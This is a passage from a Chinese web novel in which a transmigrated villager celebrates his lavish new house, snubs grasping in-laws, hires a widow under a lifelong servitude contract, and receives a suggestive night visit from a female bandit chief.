她想起以前住的那个四处漏风的破茅草屋,想起下雨天屋里到处放盆接水的窘迫,想起自己因为江峰接济弟弟而跟他吵过的无数次架。
一幕一幕,恍如隔世。
她伸出手,颤抖着,想要去触摸那扇崭新的大门,可手伸到一半,又猛地缩了回来,像是怕把这仙宫般的房子给碰脏了。
嘴唇哆嗦了半天,一个字也说不出来。
下一秒,积攒了半辈子的委屈、辛酸,和此刻巨大的幸福、不敢置信交织在一起,化作决堤的泪水,顺着脸颊无声地滑落。
旁边的江峰也好不到哪里去。
这个山里长大的汉子,一辈子没掉过几滴眼泪,此刻眼眶却红得吓人。
他看着眼前这座能让他挺直腰杆,让媳妇女儿再也不用受苦的房子,又转头看向那个云淡风轻的弟弟。
嘴巴张了张,那声“谢谢”卡在喉咙里,怎么也说不出口。
太轻了。
这两个字,根本承载不了这份天大的恩情。
最终,他走上前,重重地拍在了江夜的肩膀上,,仿佛要将自己所有的感激和激动,都通过这一下传递过去。
“好女婿!我的好女婿哎!”
人群外一道尖锐又谄媚的声音,像一把锥子,刺破了这感人的氛围。<
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br>张桂芬和王大庆母子俩不知从哪挤了出来。
两人围着那两栋房子,一会摸摸石狮子,一会又想去扒拉院墙,眼中满是毫不掩饰的贪婪和狂热。
“江夜啊,你可真是咱们家的贵人啊!”张桂芬满脸的褶子笑成了一朵菊花,嘴里全是不要钱的奉承话,“这房子,乖乖,比皇宫都气派!慧慧能嫁到你们江家,那是她八辈子修来的福气!”
王大庆跟在后面,哈着腰,点头如捣蒜:“就是就是!江夜哥,以后我王大庆就跟你混了!你让我往东,我绝不往西!”
母子俩一唱一和,恨不得当场就给江夜跪下磕一个。
周围的村民看着这母子俩的丑态,脸上都露出鄙夷和看好戏的神情。谁不知道这俩人以前是什么嘴脸?现在看人家发达了,就跟苍蝇见了血一样扑上来,真是不要脸。
然而,江夜连眼皮都没抬一下。
他仿佛根本没听见那聒噪的奉承,更没看见那两张挤满了谄媚笑容的脸。
他的世界里,只有身边的妻子和哥嫂。
“我们进去看看吧。”
他神情淡然,小心翼翼地扶着白梦夏和白梦秋,温柔地护着她们的肚子,绕过那对母子,带着哥嫂径直走向自家新院的大门。
从始至终,他的眼神都没有在张桂芬母子俩身上停留哪怕一秒钟。
那种无视,不是刻意的轻蔑,而是一种发自骨子里的、彻底的漠然。
就好像,他们只是两块挡路的石头,甚至连石头都算不上,只是两团无所谓的空气。
张桂芬和王大庆那谄媚到极致的笑容,就这么僵在了脸上。
他们伸着手,哈着腰,保持着那个滑稽的姿势,眼睁睁地看着江夜扶着两个仙女般的妻子,走进了那扇气派的大门。
周围的空气安静了一瞬,随即爆发出压抑不住的窃窃私语和嗤笑声。
“看见没?人家江夜压根就没搭理他们。”
“活该!以前那副嘴脸,恨不得把江家踩进泥里,现在看人发财了就想贴上来,门都没有!”
“连窗户都没有,哈哈哈……”
第62章 乔迁宴
周围村民的议论像一根根烧红的针,扎得张桂芬脸皮火辣辣地疼。
她那谄媚的笑容消失得无影无踪,取而代之的是一种被当众羞辱后的扭曲和怨毒。
她可是王慧慧的亲妈!是江峰名义上的丈母娘!江家怎么敢这么对她?
“发什么呆!还不跟进去!”张桂芬心头的贪婪压过了恐惧,她一把拽住王大庆的胳膊,尖着嗓子喊道,“那是你姐家!咱们进去看看怎么了?天经地义!”
说着,她就仗着自己是长辈,梗着脖子要往那即将闭合的门缝里挤。
就在她一只脚将要踏进门槛的瞬间,一道低沉的咆哮声,猛地从门缝里传了出来。
呜——!
那声音不大,却带着一股野兽般的凶性,让张桂芬的动作猛地一滞。
她还没反应过来,一个雪白的影子就从门内闪了出来,稳稳当当堵住了门口。
那是一头通体雪白的大狼,体型壮硕得像一头小牛犊,一身长毛蓬松,威风凛凛。它只是安静地站在那里,一双蓝宝石般的眼睛冷冷地盯着母子二人,喉咙里发出危险的低吼。
“妈……妈呀……”王大庆当场就吓得腿软了,他躲在张桂芬身后,声音都在打颤,“这……这是什么东西?”
周围的村民也倒吸一口凉气。
张桂芬也被这阵仗吓了一跳,但一想到那满屋子的金银财宝,胆子又壮了起来。她色厉内荏地跺了跺脚,指着那大狗骂道:“哪来的野狗!滚开!别挡着老娘的路!”
她话音刚落,那雪白大狗的嘴唇猛地向上一咧,露出了四根又长又尖的獠牙,森白的牙齿在日光下泛着寒光。
“吼!”
一声凶狠的咆哮,伴随着一股腥风扑面而来。
“啊!”
张桂芬吓得魂飞魄散,一屁股就跌坐在了地上。王大庆更是连滚带爬地往后退,裤裆处迅速湿了一片,散发出一股骚臭味。
“哈哈哈哈!”
人群中终于有人忍不住,爆发出惊天动地的大笑声。
一个笑声响起,就像点燃了引线,整个场面瞬间炸开了锅。
“笑死我了!想进门?先问问狗同不同意!”
“你们看王大庆那怂样,裤子都尿了!真是给他爹妈长脸啊!”
“这狗可真通人性,知道什么人该拦在外面!”
就在这时,院子里传来江峰憨厚的喊声:“团子,回来!”
那威风凛凛的大狗听到“团子”这个名字,瞬间收起了所有凶性,摇着尾巴,乖巧地退回了院内。
“砰!”
两扇大门终于严丝合缝地关上了,将里面富丽堂皇的世界和外面狼狈不堪的母子俩,彻底隔绝开来。
门外,只剩下张桂芬瘫坐在地上,和她那个散发着尿骚味的儿子,以及满场毫不掩饰的嘲笑声。
当天,江家新院中,大摆乔迁宴。
这恐怕是稻花村有史以来,最阔气、最奢侈的一场宴席。
数十张崭新的八仙桌,从院子中央一直摆到了廊下,密密麻麻,座无虚席。坐着的,全是这一个月来帮着盖房的村民,一个个局促不安,手脚都不知道往哪放。
他们看着这光滑如镜的青石板地面,看着那雕梁画栋的屋檐,再看看自己脚上沾着泥的草鞋,连大气都不敢喘一口,生怕一口浊气,玷污了这神仙住的地方。
王囤**夜亲自安排在了主桌,紧挨着江峰。
这个老实巴交的汉子,看着面前的楠木桌椅,屁股只敢坐半边,双手放在膝盖上,紧张得手心全是汗。
他这辈子去过最气派的地方,就是镇上的酒楼,可跟眼前这宅子一比,那酒楼简直就成了个茅草棚。
桌上的菜肴更是让他眼晕。
没有精巧的盘子,用的是一个个脸盆大的木盆。
盆里没有花里胡哨的配菜,堆着的,是小山一样的肉!
红烧野猪肉,肥瘦相间,酱色
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浓郁,香气霸道得让人直吞口水。
清炖鹿肉,汤色奶白,肉块硕大,一股暖香钻进鼻孔,光是闻着,就觉得浑身的骨头都轻了二两。
旁边还摆着一桶桶的白米饭,米粒饱满,晶莹剔透。
酒坛子更是直接摆在桌角,开封的泥盖一拍开,醇厚的酒香便混着肉香,飘满了整个院子。
“吃啊!都愣着干什么!”江夜端着酒碗,朗声笑道,“今天大家都是客,别拘束,吃好喝好!肉管够,酒管够!”
话音落下,工人们你看我,我看你,还是没人敢动第一筷。
江峰憨厚一笑,带头夹起一块最大的红烧肉,塞进嘴里,含糊不清地喊道:“都吃!我弟让咱吃,咱就放开了吃!”
有了他带头,压抑的气氛瞬间被点燃。
一个年轻工人试探着夹了一块鹿肉,小心翼翼地放进嘴里。
下一秒,他眼睛猛地瞪圆了。
那肉一入口,根本不用嚼,像是含了一块热油,瞬间化开,一股无法形容的暖流顺着喉咙滑下,瞬间涌遍四肢百骸。浑身上下,每一个毛孔都舒张开来,舒服得他差点叫出声。
“天……天爷啊……”他喃喃自语,随即再也顾不上什么体面,抓起筷子,疯狂地往嘴里扒拉起来。
一个动了,所有人都动了。
整个院子,瞬间被狼吞虎咽的声音淹没。
他们这辈子都没吃过这么香的肉,没喝过这么醇的酒,更没见过这么大方的东家。
一个五十多岁的老木匠,吃着吃着,眼泪就下来了。
他一边往嘴里塞着肉,一边哭,浑浊的泪水混着米饭和肉汁,吧嗒吧嗒地往下掉。
“我……我活了五十年,头一回……头一回知道敞开了吃肉是个什么滋味儿……”
他这一哭,像是会传染一样,好几个上了年纪的工人,也都红了眼圈。
他们不是矫情,是这日子,以前做梦都不敢想。
第63章 现场招工
宴席正酣,院子里一片欢声笑语,充满了快活的气氛。
主桌上,白梦夏温柔地给江夜夹了一块最嫩的鹿肉,脸上带着幸福的浅笑。怀孕让她本就绝美的容颜更添了几分母性的光辉,看得江夜心中一片温软。
可就在这时,白梦夏的笑容忽然一僵,脸色以肉眼可见的速度变得苍白。
她猛地捂住嘴,秀眉紧蹙,胃里一阵翻江倒海。
“呕——”
一声压抑不住的干呕,让她再也坐不住了。
“夏儿!”
江夜脸色一变,瞬间起身,一把扶住了摇摇欲坠的妻子。刚刚还谈笑风生的他,此刻只剩下满满的心疼和焦急。
“姐姐!”
坐在另一边的白梦秋也慌了神,连忙跑过来,小手一下一下地轻抚着白梦夏的后背,一双水汪汪的大眼睛里满是担忧。
院子里原本嘈杂的声浪,像是被一只无形的大手按下了暂停键。所有人都停下了筷子,目光齐刷刷地望了过来。
江夜顾不上旁人,半抱着白梦夏,快步走到院子角落。
白梦夏扶着墙,吐得昏天暗地,仿佛要将五脏六腑都呕出来。等终于停下时,她已是香汗淋漓,俏脸没有一丝血色,虚弱地靠在江夜怀里,连站立的力气都没有了。
江夜看着妻子憔悴的脸,心疼得像是被针扎一样。
他又转过头,看了一眼同样怀着身孕,正满脸担忧地看着姐姐的白梦秋。
虽然秋儿的反应没有这么剧烈,但最近也时常食欲不振,脸色憔悴。
两个都是他的心头肉,都是他孩子的娘。
江夜的眉头紧紧锁了起来。
不行,不能再这样下去了。
江夜小心翼翼地将白梦夏扶回主座坐好,又给白梦秋递了个安心的眼神,这才站起身,清了清嗓子。
原本重新响起些许嘈杂的院子,瞬间再次安静下来。
所有人的目光,全都聚焦在了江夜的身上。
江夜环视了一圈院中坐着的村民,最后落回自己两个脸色苍白的妻子身上,眼神瞬间化为一片柔情。
他朗声开口,声音清晰地传遍了院子的每一个角落:“诸位乡亲,今日请大家来,一是庆祝乔迁,二是感谢大家这一个月的辛苦。”
“江夜兄弟客气了!能给你干活,是我们的福气!”王囤连忙站起来,憨厚地说道。
“是啊是啊!顿顿有肉吃,这辈子都没这么舒坦过!”底下立刻有人附和,引来一片善意的笑声。
江夜抬手压了压,示意众人安静,继续说道:“今日,还有一件事,想请大家帮个忙。”
众人一听,顿时都挺直了腰杆,神情专注。
活神仙要请他们帮忙,这可是天大的面子!
“我这两位夫人,如今都有了身孕,行动多有不便。”江夜说着,目光温柔地看向白梦夏和白梦秋,“我想为她们寻一个贴身照顾之人,最好是村里的婶子或姐妹,为人要勤快、老实、心细,专门负责照顾她们的日常起居。”
话音刚落,白梦夏和白梦秋就是一愣。
她们猛地抬起头,看向自家夫君高大的背影,美眸中瞬间水光潋滟。
她们从未想过,自己不过是夫君买回来的,他却从未将她们当下人看,不仅给了她们名分,给了她们一个家,如今,竟还要专门为她们找人伺候。
这般体贴入微,这般视若珍宝,让人瞬间被巨大的感动和甜蜜填满,暖得几乎要融化开来。
而底下的村民们,则在短暂的安静后,开始窃窃私语。
给江家两位仙女般的夫人当仆人?
这可是个好差事!谁都知道江夜出手大方,这工钱肯定少不了。
一时间,院子里所有女人的眼睛都亮了。
就在众人猜测工钱能有多少的时候,江夜再次开口,报出了条件。
“工钱,月钱五百文!”
“另外,包吃住,顿顿有肉!”
轰!
江夜的话,像是一块巨石砸进了平静的湖面,激起了惊涛骇浪!
整个院子,先是陷入了一片死寂。
所有人都瞪大了眼睛,筷子从手里掉了下来都毫无察觉。
五百文?!
他们是不是听错了?
要知道,在县城里最大的布庄当伙计,一个月累死累活,也不过三百文钱。
就是县太爷府上的管事,听说一个月也才堪堪五
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百文!
那是什么人物?那可是官府的人!
现在,只是给江家夫人当个贴身仆人,就能拿到和县衙管事一样的工钱?
而且……还包吃住!顿顿有肉!
“我的老天爷啊!”
不知是谁发出了一声惊呼,彻底点燃了全场。
“哗——”
山呼海啸般的议论声瞬间爆发,整个院子像是炸开了锅。
“五百文!我没听错吧?是一个月五百文?”
“你没听错!我也听见了!还管饭!顿顿都有肉吃!”
“疯了!这彻底疯了!”
工地上那些男人们,一个个呼吸急促,脸红脖子粗,激动得恨不得自己是个女人。他们猛地转头看向自家的婆娘,眼神炽热得能把人点着。
“老婆子!你听见没?五百文啊!快!快去啊!”
“孩他娘!别吃了!这可是天大的好事!你要是能选上,咱们家就翻身了!”
而那些妇人,早已不需要自家男人提醒。
她们的眼睛里,像是燃起了两团熊熊的火焰,呼吸急促,胸口剧烈地起伏着。那眼神,比看到最俊俏的后生还要热切,比饿了三天的狼看到肉还要贪婪。
五百文!
有了这笔钱,家里就能扯新布做衣裳,孩子就能吃上白面馍馍,男人就能天天有酒喝!
这哪里是去当仆人,这分明是天上掉馅饼,一步登天的好事!
一瞬间,无数道炽热的目光,死死地锁定了江夜,仿佛他不是一个人,而是一座闪闪发光的金山。
“我来!江夜兄弟,选我!我手脚最麻利!”
“选我!我生过三个娃,最有经验!”
院子里,一众妇人瞬间炸了窝。
她们扔下碗筷,挤开自家男人,一个个满脸通红,争先恐后地朝前涌,眼中闪烁着贪婪而狂热的光。
五百文的月钱,顿顿有肉吃,这等好事,别说稻花村,就是放眼整个县城,都打着灯笼没处找!
男人们也跟着激动,在后面推搡着自家婆娘,大声出谋划策。
“老婆子,你快说你还会接生!”
“孩他娘,你跟江家夫人说,你娘家是开药铺的!”
第64章 必须签死契
白梦夏和白梦秋看着这疯狂的景象,有些不知所措,下意识地往江夜身边靠了靠。
江夜神情淡然,他抬了抬手,原本嘈杂的院子,竟在瞬间诡异地安静下来。
所有人的目光,都带着灼热的期盼,牢牢锁定在他身上。
他清了清嗓子,沉稳的声音清晰地传到每个人耳朵里。
“但有一个条件。”
众人屏住呼吸。
“必须签死契。”
“轰!”
“死契”这两个字,仿佛两盆冰水,从头到脚,浇灭了在场所有人的热情。
喧闹的院子,瞬间死寂。
前一秒还恨不得扑上来的妇人们,脸上的狂热笑容瞬间僵住,像是被点了穴道一般,一动不动。
签死契?
那是什么概念?
那意味着你这个人,从今往后就不再属于你自己了。
生是江家的人,死是江家的鬼。
主家让你往东,你不能往西,让你打狗,你不能撵鸡。
就算日后想家了,想走了,那也是逃奴,被抓回来打死都活该。
你这条命,连带着你这个人和未来的所有可能,就彻彻底底卖给了江家。
五百文的月钱是多,可自由是无价的啊!
人群开始退缩,窃窃私语声如蚊蝇般响起。
“死契……这也太狠了……”
“签了死契,那不就成奴才了?一辈子都出不来了。”
“我家的虽然穷,可也是良籍啊……”
刚才还推着自家婆娘往前挤的男人们,此刻也纷纷变了脸色,忙不迭地把人往后拽,生怕自家婆娘一时糊涂,断送了一辈子。
金山虽好,可要是用一辈子的自由去换,那就得掂量掂量了。
江夜的目光平静地扫过众人,似乎早就料到了这个结果。
他要找的,不是一个贪图钱财的短工,而是一个绝对忠诚,能让他和妻子绝对信任,能彻底融入这个家,不会有二心的自己人。白梦夏和白梦秋身怀有孕,身边不能有任何潜在的威胁。
就在这片犹豫和退缩之中,人群的后方,一个瘦弱的身影,默默地挤了出来。
所有人的目光,齐刷刷地投了过去。
那是一个看起来二十出头的年轻妇人。
她身上穿着一件洗得发白的粗布旧衣,上面还打着几个补丁,却依旧难掩那惊人丰腴的浮凸曲线,走动间,身姿摇曳,自有一股动人的风情。
一张标准的瓜子脸,五官精致,只是因为长期的营养不良和忧愁,脸色苍白得没有一丝血色,嘴唇也紧紧抿着,透着一股倔强和绝望。
是村里的寡妇,林间雪。
丈夫上山打猎摔死后,她就被刻薄的婆家视为扫把星,赶出了家门,一个人守着亡夫留下的破屋,靠给村里人缝缝补补,勉强度日,时常吃了上顿没下顿。
她穿过众人或同情、或鄙夷、或玩味的目光,一步一步走到了江夜面前。
然后,在所有人震惊的注视下,她双膝一软,直挺挺地跪了下去,额头重重地磕在冰凉的青石板上。
“砰”的一声闷响,让在场所有人的心都跟着一跳。
江夜看着她,眉头微挑。
白梦夏和白梦秋对视一眼,美眸中满是惊愕和不忍。
“你这是做什么?”江夜的声音听不出喜怒。
林间雪抬起头,嘴唇被她咬得发白,但目光却十分坚定。
“江大官人。”她的声音很轻,带着一丝长久不与人说话的沙哑,但每个字都异常清晰,“我愿意。”
“我愿意签死契。”
林间雪这六个字说完,院子里再次死寂无声。
村民们看着跪在地上的林间雪,神情愈发复杂。
“唉,是林家那寡妇……”
“她一个女人家,男人**,婆家也容不下她,不**还能怎么办?”
“可怜是可怜,但签了死契,这辈子可就完了啊。”
同情声中,也夹杂着不少鄙夷和轻蔑的低语。
“啧啧,到底是个寡妇,身子不清白,没个依靠,就是**命。”
“长得这么妖里妖气的,指不定心里打着什么主意呢,想攀高枝呗。”
那些鄙夷和同情的议论声不大,却像针一样,一根根扎进林间雪的耳朵里。
她的身体微不可
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查地颤抖了一下,但依旧跪得笔直,目光坚定地看着江夜,仿佛那是她溺水时,能抓住的唯一一根稻草。
江夜没有立刻答应,他审视着眼前的女人,问道:“你知道签了死契意味着什么吗?”
“知道。”林间雪点头,嘴唇抿成一条苍白的线,“生是江家人,死是江家鬼。以后间雪这条命,就是您的了。”
“你不后悔?”
“不后悔。”林间雪的眼眶微微泛红,但没有一滴泪落下,“能有一口饱饭吃,能活下去,就没什么可后悔的。”
她的话,让白梦夏和白梦秋的心都揪了一下。
她们太懂这种感觉了。
在被卖给江夜之前,她们也曾以为,能吃上一口饱饭,就是天底下最幸福的事了。
江夜沉默了。
他看着这个跪在地上,将尊严踩在脚下只为求生的女人,心中并无波澜。
这世道本就如此,人命如草芥。他不是救世主,他只是想给自己的女人找一个用得放心的人罢了。
“好。”
他终于开口,吐出一个字。
“从今天起,你就是我江家的人了。”
林间雪闻言,紧绷的身体猛地一松,整个人像是被抽走了所有力气,再次俯下身,对着江夜重重地磕了一个头。
“谢……谢主人。”
江夜没再看她,而是转向王囤,吩咐道:“王囤大哥,去找里正,拿文书来。”
“哎,好!”王囤连忙应下,匆匆跑了出去。
一场原本喜气洋洋的乔迁宴,因为这突如其来的一幕,气氛变得有些微妙。
那些没被选上的妇人,此刻看着跪在地上的林间雪,眼神里嫉妒和庆幸交织。
嫉妒她得了这么好的差事,又庆幸自己没傻到去签那卖命的死契。
很快,里正就带着文书和印泥,气喘吁吁地赶了过来。
当着所有人的面,林间雪在那份决定她后半生命运的死契上,毫不犹豫地按下了自己的手印。
鲜红的指印,落在白纸黑字上,触目惊心。
从此,世上再无寡妇林间雪,只有江家仆人,林间雪。
第65章 谢主人恩典
等里正也盖下印章,白纸黑字,就此尘埃落定。
村民们看着依旧笔直跪在院中的林间雪,都忍不住摇了摇头。
为了钱,连自由都不要了?
这和卖了自己有什么区别?
窃窃私语声再次响起,看向林间雪的目光,充满了廉价的同情。
“啧啧,真是穷疯了。”
一道尖酸刻薄的声音,刺耳地划破了院子里的诡异气氛。
王翠花不知何时又挤到了人群前面,双手叉腰,斜着眼睛打量着跪在地上的林间雪,脸上满是毫不掩饰的讥讽和优越感。
“为了五百文钱,就上赶着去给人家当一辈子的奴才,真是没骨气!你那死鬼男人要是泉下有知,怕是得从坟里爬出来,夸你找了个好归宿呢!”
她的话又狠又毒,周围的村民虽然也不理解林间雪的选择,但听到王翠花这般恶毒的话,还是忍不住皱起了眉头。
王翠花却越说越来劲,唾沫横飞:“也是,克**自家男人,在婆家又是个人人嫌的扫把星,除了**为奴,也没别的活路了!现在好了,卖了自己,以后吃喝不愁,就是不知道……”
她的话越说越难听。
白梦夏和白梦秋听得秀眉紧蹙,眼中闪过一丝怒意。
就在这时,一直沉默的江夜,缓缓抬起了眼,目光淡淡地扫向了王翠花。
正说得兴高采烈的王翠花,忽然感觉一道冰冷的视线落在了自己身上。
那道目光,没有温度,没有情绪,像一把出鞘的刀,带着凛冽的寒气,仿佛能穿透皮肉,直刺骨髓。
她下意识地迎着那道目光看去。
江夜不知何时已经转过身,正静静地看着她。
他什么都没说,甚至连眉毛都没动一下,可那双深邃的眸子里,却像是凝结了万年不化的寒冰。
王翠花后面的话猛地卡在了喉咙里,一股寒意从脚底板直冲天灵盖,让她浑身的血液都仿佛冻结了。
她张了张嘴,却一个字也发不出来,在那道目光的注视下,她感觉自己像个被扒光了衣服的小丑,所有恶毒的心思都被看得一清二楚。
她的脸色由红转白,再由白转青,最后竟是不敢再与江夜对视,狼狈地低下了头,悄悄往人群后缩去。
整个院子,再次鸦雀无声。
所有人都**夜这不发一言的威势给镇住了。
江夜收回目光,仿佛刚刚只是看了一眼无关紧要的蝼蚁。
他缓步走到林间雪面前,在所有人的注视下,弯下腰,伸出手,将她从冰凉的青石板上扶了起来。
“以后,你就跟着我夫人吧。”江夜的声音很平淡。
林间雪低着头,不敢看他,朝着江夜福了福身,用细若蚊蝇的声音应了一声:“是,主人。”
就在所有人都以为这件事就这么尘埃落定了的时候,江夜却从怀里,摸出了一样东西,直接塞进了林间雪的手里。
“拿着,先去把你家里的事情安顿好,明天再过来。”
那东西入手,沉甸甸的,带着一丝冰凉的触感。
林间雪下意识地摊开手掌。
“嘶——”
院子里,顿时响起一片倒吸凉气的声音。
只见林间雪那只瘦得只剩骨头的手掌里,赫然躺着一锭银子!
那是一锭足足十两的官银,在午后的阳光下,闪烁着刺眼又迷人的光芒。
林间雪猛地抬起头,难以置信地看着手中的银锭,又看看江夜,大脑一片空白。
十两……银子?
她这辈子,别说见了,就是听都没听说过这么多钱。
她以为,那五百文的月钱,已经是天大的恩赐了。
可现在……
他竟然……一出手就给了自己十两银子!
有了这笔钱,她就可以还清丈夫生前欠下的所有债,
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从此以后,和那个让她受尽**的家,再无半点瓜葛!
巨大的冲击,让林间雪的脑袋嗡嗡作响。
她看着江夜平静的脸,眼中的泪水终于再也忍不住,如同决了堤的洪水,汹涌而出。
“噗通!”
林间雪双腿一软,再次直挺挺地跪了下去,这一次,她没有丝毫犹豫,用尽全身力气,将额头重重地磕在坚硬的青石板上。
“谢主人恩典!”
“谢主人恩典!”
她语无伦次,除了磕头,除了哭泣,已经不知道该如何表达自己心中那翻江倒海般的感激。
而院子里的其他村民,早已在江夜拿出那锭银子的瞬间,集体石化。
“咕咚。”
不知是谁,艰难地咽了口唾沫。
所有人的目光,都死死地钉在那锭银子上,眼神里写满了骇然与震撼。
那可是十两银子!
他们这些人,一年到头累死累活,省吃俭用,能攒下一两银子,都得烧高香了。
十两银子,足够一个五口之家,什么都不干,安安稳稳地过上两年了!
就这么**夜随手给出去了?
那些刚刚还在为自己没有签下死契而庆幸的妇人,此刻又因着那十两银子,心生羡慕。
而缩在人群后的王翠花,看着那锭晃眼的银子,更是嫉妒得眼睛都红了。
她死死地咬着嘴唇,指甲深深地掐进肉里,却浑然不觉。
凭什么?
凭什么一个克夫的扫把星,一个任人欺辱的寡妇,能有这样的好运?
江夜没有理会众人的心思,等林间雪磕完了头,他才淡淡开口:“起来吧,去吧。”
说完,他便转身走回主桌,仿佛刚才那十两银子,真的只是一块无足轻重的石头。
只留下满院子羡慕、嫉妒、后悔的村民,和那个跪在地上,手捧着新生,哭得不能自已的女人。
第66章 你倒是会挑时候
夜色如墨,新落成的青砖大宅静静地矗立在月光下,飞檐翘角,在土坯房遍地的稻花村里,宛如一座遗世独立的仙宫。
万籁俱寂,只有偶尔几声虫鸣,给这宁静的夏夜增添了几分生机。
主宅二楼,最宽敞的卧房内,更是安静得能听见呼吸声。
这间房,比江夜以前住的整个茅草屋还要大上几圈。地上铺着光滑的青石板,墙边立着金丝楠木打造的衣柜,散发着淡淡的幽香。
屋子正中,是一张足以躺下五六个人的巨大拔步床,同样是金丝楠木的,雕刻着精美的祥云瑞兽图样,挂着淡青色的柔软纱帐,朦胧而雅致。
江夜就躺在这张床上。
他睁着眼,毫无睡意,只是静静地看着睡在自己身侧的两个绝美娇妻。
左边是白梦夏,右边是白梦秋。
姐妹俩都已经沉沉睡去,呼吸均匀绵长。
或许是新房的环境让人安心,又或许是连日来吃着异虎肉,身体得了极大的滋养,她们的睡颜恬静而美好。
月光透过窗棂,洒在她们光洁如玉的脸颊上。
姐姐白梦夏侧躺着,长长的睫毛在眼下投出一片小小的阴影,嘴角微微上扬,似乎在做什么美梦。
怀孕之后,她原本就丰腴的身段更添了几分成熟的韵味,即便是在睡梦中,那份温柔娴静的气质也如同化不开的蜜,让人心醉。
妹妹白梦秋则像只小猫,整个人都蜷缩在江夜的臂弯里,一只手还无意识地抓着他的衣襟,睡得小脸红扑扑的,带着一丝孩童般的娇憨。
她虽也已怀孕,但整个人依旧透着一股活泼俏皮的劲儿,让人忍不住想捏捏她的脸蛋。
看着她们,江夜的心中一片柔软。
这就是他的女人,他孩子的娘。
曾几何知,他还是那个在现代社会挣扎求生,对未来一片迷茫的社畜。
穿越而来,又成了村里人人嫌弃的懒汉。
可现在,他有了自己的家,有了如花似玉的妻子,即将拥有自己的孩子。
他亲手为她们盖起了全村、甚至全县城都独一无二的大宅院,让她们过上了顿顿有肉,衣食无忧的好日子。
这种亲手创造和守护的满足感,比前世赚到任何一笔钱都要来得实在,来得舒坦。
江夜满足地叹了口气,伸手,轻轻将被子往上拉了拉,盖住她们裸露在外的香肩。
指尖触碰到白梦夏光滑细腻的肌肤,温热柔软的触感,像是一道电流,瞬间窜遍全身。
江夜的身体猛地一僵。
一股熟悉的邪火,毫无征兆地从丹田深处轰然燃起,然后如脱缰的野马,在他四肢百骸里疯狂乱窜。
他喉结滚动,呼吸瞬间变得粗重起来。
该死!
又是这种感觉!
自从两个妻子怀孕之后,为了孩子着想,他已经两个多月没碰过她们了。
每天晚上,左拥右抱,却只能看,不能碰。
这种折磨,简直比让他去跟一头猛虎肉搏还要难受。
尤其是她们吃了异虎肉之后,身体愈发健康,肌肤也愈发水润光泽,浑身上下都散发着一种惊心动魄的魅力,更是时时刻刻都在考验着他的自制力。
江夜深吸一口气,又缓缓吐出,试图用内力压下那股燥热。
可越是压制,那股火就烧得越旺,几乎要将他的理智焚烧殆尽。
他看着两个妻子毫无防备的睡颜,心中一片滚烫。
不行,不能再待下去了。
再待下去,他怕自己会变成禽兽。
江夜轻叹一声,小心翼翼地将自己的手臂从白梦秋的脖子下抽出,又轻轻挪开白梦夏搭在他身上的长腿,准备起身去院子里打几趟拳,泄一泄这无处安放的火气。
可就在他刚刚坐起身的瞬间,他敏锐的听觉,捕捉到了一丝极其轻微的破空声。
那声音,轻得就像一片羽毛划过夜空。
江夜的动作一顿,眼神瞬间变得锐利如鹰,透过窗子朝外望去。
只见月光下,一道火红色的身影,如同鬼魅一般,悄无声息地越过两米
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多高的院墙,随即如一片落叶,轻盈无比地落在了院中的青石板上,没有发出一丝一毫的声响。
整个过程行云流水,快得让人眼花缭乱。
若是换了旁人,未必能察觉。
但这一切,都清晰地落在了江夜的眼中。
看清那道熟悉的身影,江夜眼中刚刚凝聚的警惕和杀意瞬间消散,取而代之的,是一抹玩味的笑意和一丝压抑不住的火热。
来得早,不如来得巧。
这简直是瞌睡了就有人送枕头。
江夜慢条斯理地披上一件外衣,径直走到房门前,拉开了门栓。
“吱呀——”
厚重的木门发出一声轻响,在寂静的夜里显得格外清晰。
院中,那道火红的身影猛地一僵。
月光皎洁,洒在她身上。
来人不是别人,正是凤啸寨寨主,慕容晴。
她今夜显然是刻意打扮过,依旧是一身火红的劲装,但料子却是上好的丝绸,紧紧地包裹着她那凹凸有致的身段。
月光下,那张美艳张扬的脸蛋,不施粉黛,却比盛开的玫瑰还要娇艳。
她大概是没想到屋里的人这么快就发现了她,一双美眸中闪过一丝惊讶,随即又化为几分被抓包的窘迫。
江夜斜倚在门框上,双臂环胸,好整以暇地看着她,嘴角噙着一抹戏谑的笑意。
他也不说话,就这么上上下下地打量着她,目光像带着钩子,在她玲珑起伏的曲线上来回巡视,毫不掩饰其中的侵略性和火热。
慕容晴被他看得浑身不自在,她俏脸一热,强装镇定地清了清嗓子,率先打破了沉默:“我……我就是路过,顺便来看看你这新房子盖得怎么样了。”
这借口,连她自己都觉得蹩脚。
凤啸寨离稻花村几十里山路,三更半夜的,谁会“路过”到这里来?
江夜闻言,脸上的笑意更浓了。
他也不拆穿她,只是懒洋洋地开口,声音里带着一丝沙哑的磁性。
“你倒是会挑时候。”
第67章 宗师级酿酒技术
江夜的调侃,让慕容晴的脸“腾”地一下更红了。
看着她难得一见的窘迫模样,江夜脸上的笑意更浓了。
他也不说话,就那么上上下下地打量着她,目光像带着钩子,在她玲珑起伏的曲线上来回巡视。
月光下,那张美艳张扬的脸蛋不施粉黛,却比盛开的玫瑰还要娇艳。
被他这样赤裸裸的目光盯着,慕容晴感觉自己浑身的皮肤都开始发烫。
但很快她咬了咬红唇,那点被抓包的窘迫迅速被一股不服输的劲儿取代。
她抬起下巴,美眸直视着江夜,那眼神,就像一簇被点燃的火焰,瞬间变得灼热而充满挑衅。
她迈开长腿,一步步向江夜走来。
高跟的皮靴踩在青石板上,发出“哒、哒”的轻响,每一下都像是踩在江夜的心跳上。
她走到江夜面前,两人之间只隔着一步的距离,彼此的呼吸都清晰可闻。
她身上那股独特的气息,像最烈的酒,直往江夜的鼻子里钻。
“是啊,我就是会挑时候。”她抬眼,声音里带着一丝媚意,“怎么,不欢迎?”
话音未落,她手腕一翻,腰间一道黑影闪过。
“啪嗒。”
一根通体乌黑、泛着油光的皮鞭被她随手抛出,不偏不倚地落在了江夜的胸口上,然后顺着衣襟滑落,垂在他身前。
那是江夜很熟悉的一根鞭子。
上一次在凤啸寨,就是这根鞭子,开启了一场别开生面的“战斗”。
江夜体内的那股火,在看到这根鞭子的瞬间,彻底引爆。
他那双深邃的眸子里,仿佛有两簇火苗在熊熊燃烧。
“小野猫,几天不见,胆子是越来越大了。”
江夜低笑一声,一把抓住胸前的皮鞭,手腕猛地用力一拉!
“啊!”
慕容晴只觉得一股巨力传来,整个人不受控制地惊呼一声,身不由己地撞进了他滚烫坚实的怀抱。
不等她反应,江夜手臂一紧,已经将她整个人拦腰横抱而起,大步流星地走向了院子另一侧的一间客房。
“你……你放我下来!”慕容晴象征性地挣扎了两下,捶打在他胸口的拳头却软绵无力。
